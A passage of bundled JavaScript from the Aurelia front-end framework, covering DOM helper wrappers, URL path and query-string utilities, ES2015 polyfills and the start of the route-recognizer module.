var proto = Element.prototype;
proto.matches = proto.matchesSelector || proto.mozMatchesSelector || proto.msMatchesSelector || proto.oMatchesSelector || proto.webkitMatchesSelector;
}
var _FEATURE = exports._FEATURE = {
shadowDOM: !!HTMLElement.prototype.attachShadow,
scopedCSS: 'scoped' in document.createElement('style'),
htmlTemplateElement: 'content' in document.createElement('template'),
mutationObserver: !!(window.MutationObserver || window.WebKitMutationObserver),
ensureHTMLTemplateElement: function ensureHTMLTemplateElement(t) {
return t;
}
};
if (typeof FEATURE_NO_IE === 'undefined') {
(function () {
var isSVGTemplate = function isSVGTemplate(el) {
return el.tagName === 'template' && el.namespaceURI === 'http://www.w3.org/2000/svg';
};
var fixSVGTemplateElement = function fixSVGTemplateElement(el) {
var template = el.ownerDocument.createElement('template');
var attrs = el.attributes;
var length = attrs.length;
var attr = void 0;
el.parentNode.insertBefore(template, el);
while (length-- > 0) {
attr = attrs[length];
template.setAttribute(attr.name, attr.value);
el.removeAttribute(attr.name);
}
el.parentNode.removeChild(el);
return fixHTMLTemplateElement(template);
};
var fixHTMLTemplateElement = function fixHTMLTemplateElement(template) {
var content = template.content = document.createDocumentFragment();
var child = void 0;
while (child = template.firstChild) {
content.appendChild(child);
}
return template;
};
var fixHTMLTemplateElementRoot = function fixHTMLTemplateElementRoot(template) {
var content = fixHTMLTemplateElement(template).content;
var childTemplates = content.querySelectorAll('template');
for (var i = 0, ii = childTemplates.length; i < ii; ++i) {
var child = childTemplates[i];
if (isSVGTemplate(child)) {
fixSVGTemplateElement(child);
} else {
fixHTMLTemplateElement(child);
}
}
return template;
};
if (!_FEATURE.htmlTemplateElement) {
_FEATURE.ensureHTMLTemplateElement = fixHTMLTemplateElementRoot;
}
})();
}
var shadowPoly = window.ShadowDOMPolyfill || null;
var _DOM = exports._DOM = {
Element: Element,
SVGElement: SVGElement,
boundary: 'aurelia-dom-boundary',
addEventListener: function addEventListener(eventName, callback, capture) {
document.addEventListener(eventName, callback, capture);
},
removeEventListener: function removeEventListener(eventName, callback, capture) {
document.removeEventListener(eventName, callback, capture);
},
adoptNode: function adoptNode(node) {
return document.adoptNode(node, true);
},
createElement: function createElement(tagName) {
return document.createElement(tagName);
},
createTextNode: function createTextNode(text) {
return document.createTextNode(text);
},
createComment: function createComment(text) {
return document.createComment(text);
},
createDocumentFragment: function createDocumentFragment() {
return document.createDocumentFragment();
},
createMutationObserver: function createMutationObserver(callback) {
return new (window.MutationObserver || window.WebKitMutationObserver)(callback);
},
createCustomEvent: function createCustomEvent(eventType, options) {
return new window.CustomEvent(eventType, options);
},
dispatchEvent: function dispatchEvent(evt) {
document.dispatchEvent(evt);
},
getComputedStyle: function getComputedStyle(element) {
return window.getComputedStyle(element);
},
getElementById: function getElementById(id) {
return document.getElementById(id);
},
querySelectorAll: function querySelectorAll(query) {
return document.querySelectorAll(query);
},
nextElementSibling: function nextElementSibling(element) {
if (element.nextElementSibling) {
return element.nextElementSibling;
}
do {
element = element.nextSibling;
} while (element && element.nodeType !== 1);
return element;
},
createTemplateFromMarkup: function createTemplateFromMarkup(markup) {
var parser = document.createElement('div');
parser.innerHTML = markup;
var temp = parser.firstElementChild;
if (!temp || temp.nodeName !== 'TEMPLATE') {
throw new Error('Template markup must be wrapped in a <template> element e.g. <template> <!-- markup here --> </template>');
}
return _FEATURE.ensureHTMLTemplateElement(temp);
},
appendNode: function appendNode(newNode, parentNode) {
(parentNode || document.body).appendChild(newNode);
},
replaceNode: function replaceNode(newNode, node, parentNode) {
if (node.parentNode) {
node.parentNode.replaceChild(newNode, node);
} else if (shadowPoly !== null) {
shadowPoly.unwrap(parentNode).replaceChild(shadowPoly.unwrap(newNode), shadowPoly.unwrap(node));
} else {
parentNode.replaceChild(newNode, node);
}
},
removeNode: function removeNode(node, parentNode) {
if (node.parentNode) {
node.parentNode.removeChild(node);
} else if (parentNode) {
if (shadowPoly !== null) {
shadowPoly.unwrap(parentNode).removeChild(shadowPoly.unwrap(node));
} else {
parentNode.removeChild(node);
}
}
},
injectStyles: function injectStyles(styles, destination, prepend) {
var node = document.createElement('style');
node.innerHTML = styles;
node.type = 'text/css';
destination = destination || document.head;
if (prepend && destination.childNodes.length > 0) {
destination.insertBefore(node, destination.childNodes[0]);
} else {
destination.appendChild(node);
}
return node;
}
};
function initialize() {
if (_aureliaPal.isInitialized) {
return;
}
(0, _aureliaPal.initializePAL)(function (platform, feature, dom) {
Object.assign(platform, _PLATFORM);
Object.assign(feature, _FEATURE);
Object.assign(dom, _DOM);
Object.defineProperty(dom, 'title', {
get: function get() {
return document.title;
},
set: function set(value) {
document.title = value;
}
});
Object.defineProperty(dom, 'activeElement', {
get: function get() {
return document.activeElement;
}
});
Object.defineProperty(platform, 'XMLHttpRequest', {
get: function get() {
return platform.global.XMLHttpRequest;
}
});
});
}
});
define('aurelia-path',['exports'], function (exports) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.relativeToFile = relativeToFile;
exports.join = join;
exports.buildQueryString = buildQueryString;
exports.parseQueryString = parseQueryString;
var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) {
return typeof obj;
} : function (obj) {
return obj && typeof Symbol === "function" && obj.constructor === Symbol ? "symbol" : typeof obj;
};
function trimDots(ary) {
for (var i = 0; i < ary.length; ++i) {
var part = ary[i];
if (part === '.') {
ary.splice(i, 1);
i -= 1;
} else if (part === '..') {
if (i === 0 || i === 1 && ary[2] === '..' || ary[i - 1] === '..') {
continue;
} else if (i > 0) {
ary.splice(i - 1, 2);
i -= 2;
}
}
}
}
function relativeToFile(name, file) {
var fileParts = file && file.split('/');
var nameParts = name.trim().split('/');
if (nameParts[0].charAt(0) === '.' && fileParts) {
var normalizedBaseParts = fileParts.slice(0, fileParts.length - 1);
nameParts.unshift.apply(nameParts, normalizedBaseParts);
}
trimDots(nameParts);
return nameParts.join('/');
}
function join(path1, path2) {
if (!path1) {
return path2;
}
if (!path2) {
return path1;
}
var schemeMatch = path1.match(/^([^/]*?:)\//);
var scheme = schemeMatch && schemeMatch.length > 0 ? schemeMatch[1] : '';
path1 = path1.substr(scheme.length);
var urlPrefix = void 0;
if (path1.indexOf('///') === 0 && scheme === 'file:') {
urlPrefix = '///';
} else if (path1.indexOf('//') === 0) {
urlPrefix = '//';
} else if (path1.indexOf('/') === 0) {
urlPrefix = '/';
} else {
urlPrefix = '';
}
var trailingSlash = path2.slice(-1) === '/' ? '/' : '';
var url1 = path1.split('/');
var url2 = path2.split('/');
var url3 = [];
for (var i = 0, ii = url1.length; i < ii; ++i) {
if (url1[i] === '..') {
url3.pop();
} else if (url1[i] === '.' || url1[i] === '') {
continue;
} else {
url3.push(url1[i]);
}
}
for (var _i = 0, _ii = url2.length; _i < _ii; ++_i) {
if (url2[_i] === '..') {
url3.pop();
} else if (url2[_i] === '.' || url2[_i] === '') {
continue;
} else {
url3.push(url2[_i]);
}
}
return scheme + urlPrefix + url3.join('/') + trailingSlash;
}
var encode = encodeURIComponent;
var encodeKey = function encodeKey(k) {
return encode(k).replace('%24', '$');
};
function buildParam(key, value, traditional) {
var result = [];
if (value === null || value === undefined) {
return result;
}
if (Array.isArray(value)) {
for (var i = 0, l = value.length; i < l; i++) {
if (traditional) {
result.push(encodeKey(key) + '=' + encode(value[i]));
} else {
var arrayKey = key + '[' + (_typeof(value[i]) === 'object' && value[i] !== null ? i : '') + ']';
result = result.concat(buildParam(arrayKey, value[i]));
}
}
} else if ((typeof value === 'undefined' ? 'undefined' : _typeof(value)) === 'object' && !traditional) {
for (var propertyName in value) {
result = result.concat(buildParam(key + '[' + propertyName + ']', value[propertyName]));
}
} else {
result.push(encodeKey(key) + '=' + encode(value));
}
return result;
}
function buildQueryString(params, traditional) {
var pairs = [];
var keys = Object.keys(params || {}).sort();
for (var i = 0, len = keys.length; i < len; i++) {
var key = keys[i];
pairs = pairs.concat(buildParam(key, params[key], traditional));
}
if (pairs.length === 0) {
return '';
}
return pairs.join('&');
}
function processScalarParam(existedParam, value) {
if (Array.isArray(existedParam)) {
existedParam.push(value);
return existedParam;
}
if (existedParam !== undefined) {
return [existedParam, value];
}
return value;
}
function parseComplexParam(queryParams, keys, value) {
var currentParams = queryParams;
var keysLastIndex = keys.length - 1;
for (var j = 0; j <= keysLastIndex; j++) {
var key = keys[j] === '' ? currentParams.length : keys[j];
if (j < keysLastIndex) {
var prevValue = !currentParams[key] || _typeof(currentParams[key]) === 'object' ? currentParams[key] : [currentParams[key]];
currentParams = currentParams[key] = prevValue || (isNaN(keys[j + 1]) ? {} : []);
} else {
currentParams = currentParams[key] = value;
}
}
}
function parseQueryString(queryString) {
var queryParams = {};
if (!queryString || typeof queryString !== 'string') {
return queryParams;
}
var query = queryString;
if (query.charAt(0) === '?') {
query = query.substr(1);
}
var pairs = query.replace(/\+/g, ' ').split('&');
for (var i = 0; i < pairs.length; i++) {
var pair = pairs[i].split('=');
var key = decodeURIComponent(pair[0]);
if (!key) {
continue;
}
var keys = key.split('][');
var keysLastIndex = keys.length - 1;
if (/\[/.test(keys[0]) && /\]$/.test(keys[keysLastIndex])) {
keys[keysLastIndex] = keys[keysLastIndex].replace(/\]$/, '');
keys = keys.shift().split('[').concat(keys);
keysLastIndex = keys.length - 1;
} else {
keysLastIndex = 0;
}
if (pair.length >= 2) {
var value = pair[1] ? decodeURIComponent(pair[1]) : '';
if (keysLastIndex) {
parseComplexParam(queryParams, keys, value);
} else {
queryParams[key] = processScalarParam(queryParams[key], value);
}
} else {
queryParams[key] = true;
}
}
return queryParams;
}
});
define('aurelia-polyfills',['aurelia-pal'], function (_aureliaPal) {
'use strict';
var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) {
return typeof obj;
} : function (obj) {
return obj && typeof Symbol === "function" && obj.constructor === Symbol ? "symbol" : typeof obj;
};
if (typeof FEATURE_NO_ES2015 === 'undefined') {
(function (Object, GOPS) {
'use strict';
if (GOPS in Object) return;
var setDescriptor,
G = _aureliaPal.PLATFORM.global,
id = 0,
random = '' + Math.random(),
prefix = '__\x01symbol:',
prefixLength = prefix.length,
internalSymbol = '__\x01symbol@@' + random,
DP = 'defineProperty',
DPies = 'defineProperties',
GOPN = 'getOwnPropertyNames',
GOPD = 'getOwnPropertyDescriptor',
PIE = 'propertyIsEnumerable',
gOPN = Object[GOPN],
gOPD = Object[GOPD],
create = Object.create,
keys = Object.keys,
defineProperty = Object[DP],
$defineProperties = Object[DPies],
descriptor = gOPD(Object, GOPN),
ObjectProto = Object.prototype,
hOP = ObjectProto.hasOwnProperty,
pIE = ObjectProto[PIE],
toString = ObjectProto.toString,
indexOf = Array.prototype.indexOf || function (v) {
for (var i = this.length; i-- && this[i] !== v;) {}
return i;
},
addInternalIfNeeded = function addInternalIfNeeded(o, uid, enumerable) {
if (!hOP.call(o, internalSymbol)) {
defineProperty(o, internalSymbol, {
enumerable: false,
configurable: false,
writable: false,
value: {}
});
}
o[internalSymbol]['@@' + uid] = enumerable;
},
createWithSymbols = function createWithSymbols(proto, descriptors) {
var self = create(proto);
if (descriptors !== null && (typeof descriptors === 'undefined' ? 'undefined' : _typeof(descriptors)) === 'object') {
gOPN(descriptors).forEach(function (key) {
if (propertyIsEnumerable.call(descriptors, key)) {
$defineProperty(self, key, descriptors[key]);
}
});
}
return self;
},
copyAsNonEnumerable = function copyAsNonEnumerable(descriptor) {
var newDescriptor = create(descriptor);
newDescriptor.enumerable = false;
return newDescriptor;
},
get = function get() {},
onlyNonSymbols = function onlyNonSymbols(name) {
return name != internalSymbol && !hOP.call(source, name);
},
onlySymbols = function onlySymbols(name) {
return name != internalSymbol && hOP.call(source, name);
},
propertyIsEnumerable = function propertyIsEnumerable(key) {
var uid = '' + key;
return onlySymbols(uid) ? hOP.call(this, uid) && this[internalSymbol]['@@' + uid] : pIE.call(this, key);
},
setAndGetSymbol = function setAndGetSymbol(uid) {
var descriptor = {
enumerable: false,
configurable: true,
get: get,
set: function set(value) {
setDescriptor(this, uid, {
enumerable: false,
configurable: true,
writable: true,
value: value
});
addInternalIfNeeded(this, uid, true);
}
};
defineProperty(ObjectProto, uid, descriptor);
return source[uid] = defineProperty(Object(uid), 'constructor', sourceConstructor);
},
_Symbol = function _Symbol2(description) {
if (this && this !== G) {
throw new TypeError('Symbol is not a constructor');
}
return setAndGetSymbol(prefix.concat(description || '', random, ++id));
},
source = create(null),
sourceConstructor = { value: _Symbol },
sourceMap = function sourceMap(uid) {
return source[uid];
},
$defineProperty = function defineProp(o, key, descriptor) {
var uid = '' + key;
if (onlySymbols(uid)) {
setDescriptor(o, uid, descriptor.enumerable ? copyAsNonEnumerable(descriptor) : descriptor);
addInternalIfNeeded(o, uid, !!descriptor.enumerable);
} else {
defineProperty(o, key, descriptor);
}
return o;
},
$getOwnPropertySymbols = function getOwnPropertySymbols(o) {
var cof = toString.call(o);
o = cof === '[object String]' ? o.split('') : Object(o);
return gOPN(o).filter(onlySymbols).map(sourceMap);
};
descriptor.value = $defineProperty;
defineProperty(Object, DP, descriptor);
descriptor.value = $getOwnPropertySymbols;
defineProperty(Object, GOPS, descriptor);
descriptor.value = function getOwnPropertyNames(o) {
return gOPN(o).filter(onlyNonSymbols);
};
defineProperty(Object, GOPN, descriptor);
descriptor.value = function defineProperties(o, descriptors) {
var symbols = $getOwnPropertySymbols(descriptors);
if (symbols.length) {
keys(descriptors).concat(symbols).forEach(function (uid) {
if (propertyIsEnumerable.call(descriptors, uid)) {
$defineProperty(o, uid, descriptors[uid]);
}
});
} else {
$defineProperties(o, descriptors);
}
return o;
};
defineProperty(Object, DPies, descriptor);
descriptor.value = propertyIsEnumerable;
defineProperty(ObjectProto, PIE, descriptor);
descriptor.value = _Symbol;
defineProperty(G, 'Symbol', descriptor);
descriptor.value = function (key) {
var uid = prefix.concat(prefix, key, random);
return uid in ObjectProto ? source[uid] : setAndGetSymbol(uid);
};
defineProperty(_Symbol, 'for', descriptor);
descriptor.value = function (symbol) {
return hOP.call(source, symbol) ? symbol.slice(prefixLength * 2, -random.length) : void 0;
};
defineProperty(_Symbol, 'keyFor', descriptor);
descriptor.value = function getOwnPropertyDescriptor(o, key) {
var descriptor = gOPD(o, key);
if (descriptor && onlySymbols(key)) {
descriptor.enumerable = propertyIsEnumerable.call(o, key);
}
return descriptor;
};
defineProperty(Object, GOPD, descriptor);
descriptor.value = function (proto, descriptors) {
return arguments.length === 1 ? create(proto) : createWithSymbols(proto, descriptors);
};
defineProperty(Object, 'create', descriptor);
descriptor.value = function () {
var str = toString.call(this);
return str === '[object String]' && onlySymbols(this) ? '[object Symbol]' : str;
};
defineProperty(ObjectProto, 'toString', descriptor);
try {
setDescriptor = create(defineProperty({}, prefix, {
get: function get() {
return defineProperty(this, prefix, { value: false })[prefix];
}
}))[prefix] || defineProperty;
} catch (o_O) {
setDescriptor = function setDescriptor(o, key, descriptor) {
var protoDescriptor = gOPD(ObjectProto, key);
delete ObjectProto[key];
defineProperty(o, key, descriptor);
defineProperty(ObjectProto, key, protoDescriptor);
};
}
})(Object, 'getOwnPropertySymbols');
(function (O, S) {
var dP = O.defineProperty,
ObjectProto = O.prototype,
toString = ObjectProto.toString,
toStringTag = 'toStringTag',
descriptor;
['iterator', 'match', 'replace', 'search', 'split', 'hasInstance', 'isConcatSpreadable', 'unscopables', 'species', 'toPrimitive', toStringTag].forEach(function (name) {
if (!(name in Symbol)) {
dP(Symbol, name, { value: Symbol(name) });
switch (name) {
case toStringTag:
descriptor = O.getOwnPropertyDescriptor(ObjectProto, 'toString');
descriptor.value = function () {
var str = toString.call(this),
tst = typeof this === 'undefined' || this === null ? undefined : this[Symbol.toStringTag];
return typeof tst === 'undefined' ? str : '[object ' + tst + ']';
};
dP(ObjectProto, 'toString', descriptor);
break;
}
}
});
})(Object, Symbol);
(function (Si, AP, SP) {
function returnThis() {
return this;
}
if (!AP[Si]) AP[Si] = function () {
var i = 0,
self = this,
iterator = {
next: function next() {
var done = self.length <= i;
return done ? { done: done } : { done: done, value: self[i++] };
}
};
iterator[Si] = returnThis;
return iterator;
};
if (!SP[Si]) SP[Si] = function () {
var fromCodePoint = String.fromCodePoint,
self = this,
i = 0,
length = self.length,
iterator = {
next: function next() {
var done = length <= i,
c = done ? '' : fromCodePoint(self.codePointAt(i));
i += c.length;
return done ? { done: done } : { done: done, value: c };
}
};
iterator[Si] = returnThis;
return iterator;
};
})(Symbol.iterator, Array.prototype, String.prototype);
}
if (typeof FEATURE_NO_ES2015 === 'undefined') {
Number.isNaN = Number.isNaN || function (value) {
return value !== value;
};
Number.isFinite = Number.isFinite || function (value) {
return typeof value === "number" && isFinite(value);
};
}
if (!String.prototype.endsWith || function () {
try {
return !"ab".endsWith("a", 1);
} catch (e) {
return true;
}
}()) {
String.prototype.endsWith = function (searchString, position) {
var subjectString = this.toString();
if (typeof position !== 'number' || !isFinite(position) || Math.floor(position) !== position || position > subjectString.length) {
position = subjectString.length;
}
position -= searchString.length;
var lastIndex = subjectString.indexOf(searchString, position);
return lastIndex !== -1 && lastIndex === position;
};
}
if (!String.prototype.startsWith || function () {
try {
return !"ab".startsWith("b", 1);
} catch (e) {
return true;
}
}()) {
String.prototype.startsWith = function (searchString, position) {
position = position || 0;
return this.substr(position, searchString.length) === searchString;
};
}
if (typeof FEATURE_NO_ES2015 === 'undefined') {
if (!Array.from) {
Array.from = function () {
var toInteger = function toInteger(it) {
return isNaN(it = +it) ? 0 : (it > 0 ? Math.floor : Math.ceil)(it);
};
var toLength = function toLength(it) {
return it > 0 ? Math.min(toInteger(it), 0x1fffffffffffff) : 0;
};
var iterCall = function iterCall(iter, fn, val, index) {
try {
return fn(val, index);
} catch (E) {
if (typeof iter.return == 'function') iter.return();
throw E;
}
};
return function from(arrayLike) {
var O = Object(arrayLike),
C = typeof this == 'function' ? this : Array,
aLen = arguments.length,
mapfn = aLen > 1 ? arguments[1] : undefined,
mapping = mapfn !== undefined,
index = 0,
iterFn = O[Symbol.iterator],
length,
result,
step,
iterator;
if (mapping) mapfn = mapfn.bind(aLen > 2 ? arguments[2] : undefined);
if (iterFn != undefined && !Array.isArray(arrayLike)) {
for (iterator = iterFn.call(O), result = new C(); !(step = iterator.next()).done; index++) {
result[index] = mapping ? iterCall(iterator, mapfn, step.value, index) : step.value;
}
} else {
length = toLength(O.length);
for (result = new C(length); length > index; index++) {
result[index] = mapping ? mapfn(O[index], index) : O[index];
}
}
result.length = index;
return result;
};
}();
}
if (!Array.prototype.find) {
Object.defineProperty(Array.prototype, 'find', {
configurable: true,
writable: true,
enumerable: false,
value: function value(predicate) {
if (this === null) {
throw new TypeError('Array.prototype.find called on null or undefined');
}
if (typeof predicate !== 'function') {
throw new TypeError('predicate must be a function');
}
var list = Object(this);
var length = list.length >>> 0;
var thisArg = arguments[1];
var value;
for (var i = 0; i < length; i++) {
value = list[i];
if (predicate.call(thisArg, value, i, list)) {
return value;
}
}
return undefined;
}
});
}
if (!Array.prototype.findIndex) {
Object.defineProperty(Array.prototype, 'findIndex', {
configurable: true,
writable: true,
enumerable: false,
value: function value(predicate) {
if (this === null) {
throw new TypeError('Array.prototype.findIndex called on null or undefined');
}
if (typeof predicate !== 'function') {
throw new TypeError('predicate must be a function');
}
var list = Object(this);
var length = list.length >>> 0;
var thisArg = arguments[1];
var value;
for (var i = 0; i < length; i++) {
value = list[i];
if (predicate.call(thisArg, value, i, list)) {
return i;
}
}
return -1;
}
});
}
}
if (typeof FEATURE_NO_ES2016 === 'undefined' && !Array.prototype.includes) {
Object.defineProperty(Array.prototype, 'includes', {
configurable: true,
writable: true,
enumerable: false,
value: function value(searchElement) {
var O = Object(this);
var len = parseInt(O.length) || 0;
if (len === 0) {
return false;
}
var n = parseInt(arguments[1]) || 0;
var k;
if (n >= 0) {
k = n;
} else {
k = len + n;
if (k < 0) {
k = 0;
}
}
var currentElement;
while (k < len) {
currentElement = O[k];
if (searchElement === currentElement || searchElement !== searchElement && currentElement !== currentElement) {
return true;
}
k++;
}
return false;
}
});
}
if (typeof FEATURE_NO_ES2015 === 'undefined') {
(function () {
var needsFix = false;
try {
var s = Object.keys('a');
needsFix = s.length !== 1 || s[0] !== '0';
} catch (e) {
needsFix = true;
}
if (needsFix) {
Object.keys = function () {
var hasOwnProperty = Object.prototype.hasOwnProperty,
hasDontEnumBug = !{ toString: null }.propertyIsEnumerable('toString'),
dontEnums = ['toString', 'toLocaleString', 'valueOf', 'hasOwnProperty', 'isPrototypeOf', 'propertyIsEnumerable', 'constructor'],
dontEnumsLength = dontEnums.length;
return function (obj) {
if (obj === undefined || obj === null) {
throw TypeError('Cannot convert undefined or null to object');
}
obj = Object(obj);
var result = [],
prop,
i;
for (prop in obj) {
if (hasOwnProperty.call(obj, prop)) {
result.push(prop);
}
}
if (hasDontEnumBug) {
for (i = 0; i < dontEnumsLength; i++) {
if (hasOwnProperty.call(obj, dontEnums[i])) {
result.push(dontEnums[i]);
}
}
}
return result;
};
}();
}
})();
(function (O) {
if ('assign' in O) {
return;
}
O.defineProperty(O, 'assign', {
configurable: true,
writable: true,
value: function () {
var gOPS = O.getOwnPropertySymbols,
pIE = O.propertyIsEnumerable,
filterOS = gOPS ? function (self) {
return gOPS(self).filter(pIE, self);
} : function () {
return Array.prototype;
};
return function assign(where) {
if (gOPS && !(where instanceof O)) {
console.warn('problematic Symbols', where);
}
function set(keyOrSymbol) {
where[keyOrSymbol] = arg[keyOrSymbol];
}
for (var i = 1, ii = arguments.length; i < ii; ++i) {
var arg = arguments[i];
if (arg === null || arg === undefined) {
continue;
}
O.keys(arg).concat(filterOS(arg)).forEach(set);
}
return where;
};
}()
});
})(Object);
}
if (typeof FEATURE_NO_ES2015 === 'undefined') {
(function (global) {
var i;
var defineProperty = Object.defineProperty,
is = function is(a, b) {
return a === b || a !== a && b !== b;
};
if (typeof WeakMap == 'undefined') {
global.WeakMap = createCollection({
'delete': sharedDelete,
clear: sharedClear,
get: sharedGet,
has: mapHas,
set: sharedSet
}, true);
}
if (typeof Map == 'undefined' || typeof new Map().values !== 'function' || !new Map().values().next) {
var _createCollection;
global.Map = createCollection((_createCollection = {
'delete': sharedDelete,
has: mapHas,
get: sharedGet,
set: sharedSet,
keys: sharedKeys,
values: sharedValues,
entries: mapEntries,
forEach: sharedForEach,
clear: sharedClear
}, _createCollection[Symbol.iterator] = mapEntries, _createCollection));
}
if (typeof Set == 'undefined' || typeof new Set().values !== 'function' || !new Set().values().next) {
var _createCollection2;
global.Set = createCollection((_createCollection2 = {
has: setHas,
add: sharedAdd,
'delete': sharedDelete,
clear: sharedClear,
keys: sharedValues,
values: sharedValues,
entries: setEntries,
forEach: sharedForEach
}, _createCollection2[Symbol.iterator] = sharedValues, _createCollection2));
}
if (typeof WeakSet == 'undefined') {
global.WeakSet = createCollection({
'delete': sharedDelete,
add: sharedAdd,
clear: sharedClear,
has: setHas
}, true);
}
function createCollection(proto, objectOnly) {
function Collection(a) {
if (!this || this.constructor !== Collection) return new Collection(a);
this._keys = [];
this._values = [];
this._itp = [];
this.objectOnly = objectOnly;
if (a) init.call(this, a);
}
if (!objectOnly) {
defineProperty(proto, 'size', {
get: sharedSize
});
}
proto.constructor = Collection;
Collection.prototype = proto;
return Collection;
}
function init(a) {
var i;
if (this.add) a.forEach(this.add, this);else a.forEach(function (a) {
this.set(a[0], a[1]);
}, this);
}
function sharedDelete(key) {
if (this.has(key)) {
this._keys.splice(i, 1);
this._values.splice(i, 1);
this._itp.forEach(function (p) {
if (i < p[0]) p[0]--;
});
}
return -1 < i;
};
function sharedGet(key) {
return this.has(key) ? this._values[i] : undefined;
}
function has(list, key) {
if (this.objectOnly && key !== Object(key)) throw new TypeError("Invalid value used as weak collection key");
if (key != key || key === 0) for (i = list.length; i-- && !is(list[i], key);) {} else i = list.indexOf(key);
return -1 < i;
}
function setHas(value) {
return has.call(this, this._values, value);
}
function mapHas(value) {
return has.call(this, this._keys, value);
}
function sharedSet(key, value) {
this.has(key) ? this._values[i] = value : this._values[this._keys.push(key) - 1] = value;
return this;
}
function sharedAdd(value) {
if (!this.has(value)) this._values.push(value);
return this;
}
function sharedClear() {
(this._keys || 0).length = this._values.length = 0;
}
function sharedKeys() {
return sharedIterator(this._itp, this._keys);
}
function sharedValues() {
return sharedIterator(this._itp, this._values);
}
function mapEntries() {
return sharedIterator(this._itp, this._keys, this._values);
}
function setEntries() {
return sharedIterator(this._itp, this._values, this._values);
}
function sharedIterator(itp, array, array2) {
var _ref;
var p = [0],
done = false;
itp.push(p);
return _ref = {}, _ref[Symbol.iterator] = function () {
return this;
}, _ref.next = function next() {
var v,
k = p[0];
if (!done && k < array.length) {
v = array2 ? [array[k], array2[k]] : array[k];
p[0]++;
} else {
done = true;
itp.splice(itp.indexOf(p), 1);
}
return { done: done, value: v };
}, _ref;
}
function sharedSize() {
return this._values.length;
}
function sharedForEach(callback, context) {
var it = this.entries();
for (;;) {
var r = it.next();
if (r.done) break;
callback.call(context, r.value[1], r.value[0], this);
}
}
})(_aureliaPal.PLATFORM.global);
}
if (typeof FEATURE_NO_ES2015 === 'undefined') {
(function () {
var bind = Function.prototype.bind;
if (typeof _aureliaPal.PLATFORM.global.Reflect === 'undefined') {
_aureliaPal.PLATFORM.global.Reflect = {};
}
if (typeof Reflect.defineProperty !== 'function') {
Reflect.defineProperty = function (target, propertyKey, descriptor) {
if ((typeof target === 'undefined' ? 'undefined' : _typeof(target)) === 'object' ? target === null : typeof target !== 'function') {
throw new TypeError('Reflect.defineProperty called on non-object');
}
try {
Object.defineProperty(target, propertyKey, descriptor);
return true;
} catch (e) {
return false;
}
};
}
if (typeof Reflect.construct !== 'function') {
Reflect.construct = function (Target, args) {
if (args) {
switch (args.length) {
case 0:
return new Target();
case 1:
return new Target(args[0]);
case 2:
return new Target(args[0], args[1]);
case 3:
return new Target(args[0], args[1], args[2]);
case 4:
return new Target(args[0], args[1], args[2], args[3]);
}
}
var a = [null];
a.push.apply(a, args);
return new (bind.apply(Target, a))();
};
}
if (typeof Reflect.ownKeys !== 'function') {
Reflect.ownKeys = function (o) {
return Object.getOwnPropertyNames(o).concat(Object.getOwnPropertySymbols(o));
};
}
})();
}
if (typeof FEATURE_NO_ESNEXT === 'undefined') {
(function () {
var emptyMetadata = Object.freeze({});
var metadataContainerKey = '__metadata__';
if (typeof Reflect.getOwnMetadata !== 'function') {
Reflect.getOwnMetadata = function (metadataKey, target, targetKey) {
if (target.hasOwnProperty(metadataContainerKey)) {
return (target[metadataContainerKey][targetKey] || emptyMetadata)[metadataKey];
}
};
}
if (typeof Reflect.defineMetadata !== 'function') {
Reflect.defineMetadata = function (metadataKey, metadataValue, target, targetKey) {
var metadataContainer = target.hasOwnProperty(metadataContainerKey) ? target[metadataContainerKey] : target[metadataContainerKey] = {};
var targetContainer = metadataContainer[targetKey] || (metadataContainer[targetKey] = {});
targetContainer[metadataKey] = metadataValue;
};
}
if (typeof Reflect.metadata !== 'function') {
Reflect.metadata = function (metadataKey, metadataValue) {
return function (target, targetKey) {
Reflect.defineMetadata(metadataKey, metadataValue, target, targetKey);
};
};
}
})();
}
});
define('aurelia-route-recognizer',['exports', 'aurelia-path'], function (exports, _aureliaPath) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.RouteRecognizer = exports.EpsilonSegment = exports.StarSegment = exports.DynamicSegment = exports.StaticSegment = exports.State = undefined;
var State = exports.State = function () {
function State(charSpec) {
this.charSpec = charSpec;
this.nextStates = [];
}
State.prototype.get = function get(charSpec) {
for (var _iterator = this.nextStates, _isArray = Array.isArray(_iterator), _i = 0, _iterator = _isArray ? _iterator : _iterator[Symbol.iterator]();;) {
var _ref;
if (_isArray) {
if (_i >= _iterator.length) break;
_ref = _iterator[_i++];
} else {
_i = _iterator.next();
if (_i.done) break;
_ref = _i.value;
}
var child = _ref;
var isEqual = child.charSpec.validChars === charSpec.validChars && child.charSpec.invalidChars === charSpec.invalidChars;
if (isEqual) {
return child;
}
}
return undefined;
};
State.prototype.put = function put(charSpec) {
var state = this.get(charSpec);
if (state) {
return state;
}
state = new State(charSpec);
this.nextStates.push(state);
if (charSpec.repeat) {
state.nextStates.push(state);
}
return state;
};
State.prototype.match = function match(ch) {
var nextStates = this.nextStates;
var results = [];
for (var i = 0, l = nextStates.length; i < l; i++) {
var child = nextStates[i];
var charSpec = child.charSpec;
if (charSpec.validChars !== undefined) {
if (charSpec.validChars.indexOf(ch) !== -1) {
results.push(child);
}
} else if (charSpec.invalidChars !== undefined) {
if (charSpec.invalidChars.indexOf(ch) === -1) {
results.push(child);
}
}
}
return results;
};
return State;
}();
var specials = ['/', '.', '*', '+', '?', '|', '(', ')', '[', ']', '{', '}', '\\'];
var escapeRegex = new RegExp('(\\' + specials.join('|\\') + ')', 'g');
var StaticSegment = exports.StaticSegment = function () {
function StaticSegment(string, caseSensitive) {
this.string = string;
this.caseSensitive = caseSensitive;
}
StaticSegment.prototype.eachChar = function eachChar(callback) {
var s = this.string;
for (var i = 0, ii = s.length; i < ii; ++i) {
var ch = s[i];
callback({ validChars: this.caseSensitive ? ch : ch.toUpperCase() + ch.toLowerCase() });
}
};
StaticSegment.prototype.regex = function regex() {
return this.string.replace(escapeRegex, '\\$1');
};
StaticSegment.prototype.generate = function generate() {
return this.string;
};
return StaticSegment;
}();
var DynamicSegment = exports.DynamicSegment = function () {
function DynamicSegment(name, optional) {
this.name = name;
this.optional = optional;
}
DynamicSegment.prototype.eachChar = function eachChar(callback) {
callback({ invalidChars: '/', repeat: true });
};
DynamicSegment.prototype.regex = function regex() {
return this.optional ? '([^/]+)?' : '([^/]+)';
};
DynamicSegment.prototype.generate = function generate(params, consumed) {
consumed[this.name] = true;
return params[this.name];
};
